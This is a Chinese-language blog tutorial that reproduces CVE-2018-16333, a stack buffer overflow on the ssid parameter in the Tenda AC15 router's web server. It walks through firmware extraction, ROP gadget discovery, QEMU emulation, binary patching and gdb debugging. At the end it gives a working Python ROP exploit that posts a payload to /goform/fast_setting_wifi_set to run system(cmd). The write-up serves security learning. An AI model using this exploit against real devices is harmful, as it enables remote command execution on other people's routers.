这是真正意义上第一次复现IOT漏洞,也是参考了许多大佬的博客,算是“站在巨人的肩膀上”进行入门学习了。

固件获取

固件地址:pwn/IOT/Tenda_CVE-2018-16333 at master · Snowleopard-bin/pwn (github.com)

这里有poc和固件。

漏洞分析

前期处理

首先是使用binwalk提取固件。

binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin --run-as=root

根据官方解释进入squashfs-root/bin文件夹下找到了漏洞程序httpd

这也和做pwn一样,首先要知道漏洞程序才能做接下来的分析,只不过pwn题是把漏洞程序直接给我们了。在这里就需要我们自己去找了,目前我还不知道如何定位这样的程序,等以后深入了解慢慢积累吧 : )

然后我们看看程序开启了什么保护机制:这里是只开了NX保护,并且程序是arm架构下的32位程序。

❯ checksec httpd
[*] 'squashfs-root/bin/httpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

定位漏洞函数

根据CVE的描述,There is a buffer overflow vulnerability in the router’s web server. While processing the ssid parameter for a POST request, the value is directly used in a sprintf call to a local variable placed on the stack, which overrides the return address of the function, causing a buffer overflow.漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。根据ssid字符串定位到form_fast_setting_wifi_set函数。

使用IDA字符串功能找ssid字符串可能并不准,我们可以使用以下技巧:

ALT + T 搜索字符串
CTRL + T 重复上一个搜索

ALT + B 二进制字节序列方式搜索
CTRL + B 重复上一个搜索

分析

有一定pwn基础的同学应该能够比较敏锐的发现,这里strcpy没有做检查就复制给dest,会造成栈溢出。(这也是为什么听师傅说这一类函数容易出现漏洞)

但是我们需要注意,我们通过第一个strcpy溢出s造成栈溢出,那么必然会覆盖了src指针;如果这里没有注意到,假设src被覆盖为aaaa,那么在第二次strcpy时取src指针地址内容就会报错。所以为了保证地址合法,我们将src覆盖为一个可读地址。(并且为了避免截断,不要包含\x00)

可以选择如下地址:

利用思路

寻找gadget:libc.so.0文件存在squashfs-root/lib目录下

ROPgadget --binary ./libc.so.0 --only "pop" |grep r3
gadget1 : 0x00018298 : pop {r3, pc}

ROPgadget --binary ./libc.so.0 --only "mov|blx"
gadget2 : 0x00040cb8 : mov r0, sp ; blx r3

BLX:跳转到寄存区reg给出的目的地址处并将返回地址存储到LR(连接寄存器,也即R14),类似与x86的call。

过程:

  1. 栈溢出跳到gadget1,控制r3寄存器为system地址,然后控制pcgadget2地址
  2. 接着程序会跳转到gadget2,我们需要控制r0寄存器为要执行的指令cmd
  3. 执行system(cmd)

qemu用户级调试

先安装qemu

apt install qemu
apt update
apt upgrade
apt-get -y install qemu-user-static qemu-user

回到squashfs-root目录下:

cp $(which qemu-arm-static) .
chroot ./ ./qemu-arm-static ./bin/httpd

启动httpd后发现程序卡住:

在IDA中使用字符串搜索和交叉引用定位到函数位置:在这里会进行网络check,如果返回值小于0就会sleep,接着再次进入网络check,陷入死循环。

所以我们将MOV R3,R0patch为MOV R3,#1,这样就能跳出循环了。

进修改后的httpd文件覆盖原文件,再次运行:

按照同样的方法定位错误:

patch后:将MOV R3,R0patch为MOV R3,#1

再次运行:发现监听的ip地址不对

尝试在本机建立虚拟网桥br0并重新执行程序:

# 安装配置网络的工具
apt-get install bridge-utils
apt-get install uml-utilities

sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 eth0 # 在 br0 中添加一个接口
sudo ifconfig br0 up # 启用 br0 接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo chroot ./ ./qemu-arm-static ./bin/httpd

可以看到IP地址正确了。

注意:这里使用用户级模拟的程序会导致复现不了漏洞,所用我们使用以下的qemu系统级模拟

qemu系统级模拟

#宿主机
sudo su
# 安装配置网络的工具
apt-get install bridge-utils
apt-get install uml-utilities

#我的宿主机的上网的网卡为ens33,并且存在多个虚拟网卡
ifconfig ens33 down # 首先关闭宿主机网卡接口
brctl addbr br0 # 添加一座名为 br0 的网桥
brctl addif br0 ens33 # 在 br0 中添加一个接口
brctl stp br0 on #打开生成树协议
brctl setfd br0 2 # 设置 br0 的转发延迟
brctl sethello br0 1 # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址

brctl show br0 # 查看虚拟网桥列表
brctl showstp br0 # 查看 br0 的各接口信息

tunctl -t tap0 # 创建一个 tap0 接口
brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
ifconfig tap0 192.168.198.100/24 up #为tap0分配ip地址

brctl showstp br0 # 显示 br0 的各个接口

下载的依赖:

wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

启动:

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

输入密码账号均为:root

启动之后,eth0网卡没有分配ip地址,并且没有像参考文章中所说那样就可以与宿主机通信(也就是ping不通),这时需要再qemu虚拟机中给eth0网卡设置ip地址。然后就能愉快地使用scp上传文件系统了。

注意,这里必须要关闭宿主机的ens32或者ens33网卡,sudo ifconfig ens32 down,这样qemu虚拟机才能ping通宿主机的br0网卡。


在前面网络通信卡了好久(呜呜呜

测试一下宿主机和qemu虚拟机是否能ping通:

测试通过,接下来实现将宿主机中的squashfs-root目录传到qemu虚拟机中,我们使用scp服务。

# 在宿主机中压缩整个文件目录
sudo tar -zcvf ../squashfs-root.tar.gz ./
# 在qemu虚拟机中,下载文件到/root目录下
scp iot@192.168.15.100:/home/iot/Desktop/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root.tar.gz /root/

解压目录并删除压缩包:

tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz

已经解压出文件目录了:

挂载文件目录

mount -o bind /dev /root/dev && mount -t proc /proc /root/proc

切换文件工作目录并打开sh终端,这时程序会将/root目录当做根目录:

chroot /root sh

为qemu虚拟机添加虚拟网卡并激活:

brctl addif br0
ifconfig br0 192.168.15.76/24 up

终于到了这里,最后一步就是启动程序了:

./bin/httpd/ &

qemu虚拟机退出方法:同时按ctrl+a之后,再按c,出现(qemu)时输入q即可退出。

接下来就是宿主机远程调试qemu中运行的httpd了。


github中下载静态编译好的gdbserver:

scp将gdbserver下载到虚拟机。

使用gdbserver启动httpd程序,设置端口为9999:

./gdbserver 0.0.0.0:9999 ./bin/httpd

在宿主机中,使用gdb-multiarch来进行远程调试:

gdb-multiarch -q ./bin/httpd
set arch arm
tar rem 192.168.198.76:9999
b *0x6775c
c

关闭地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space

poc

import requests
from pwn import *

cmd="echo hello"

'''
qemu-user
'''
#libc_base = 0xf659c000

'''
qemu-system
'''
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0

system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = 'a'*(0x60) + p32(readable_addr) + 'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd


url = "http://192.168.198.76/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)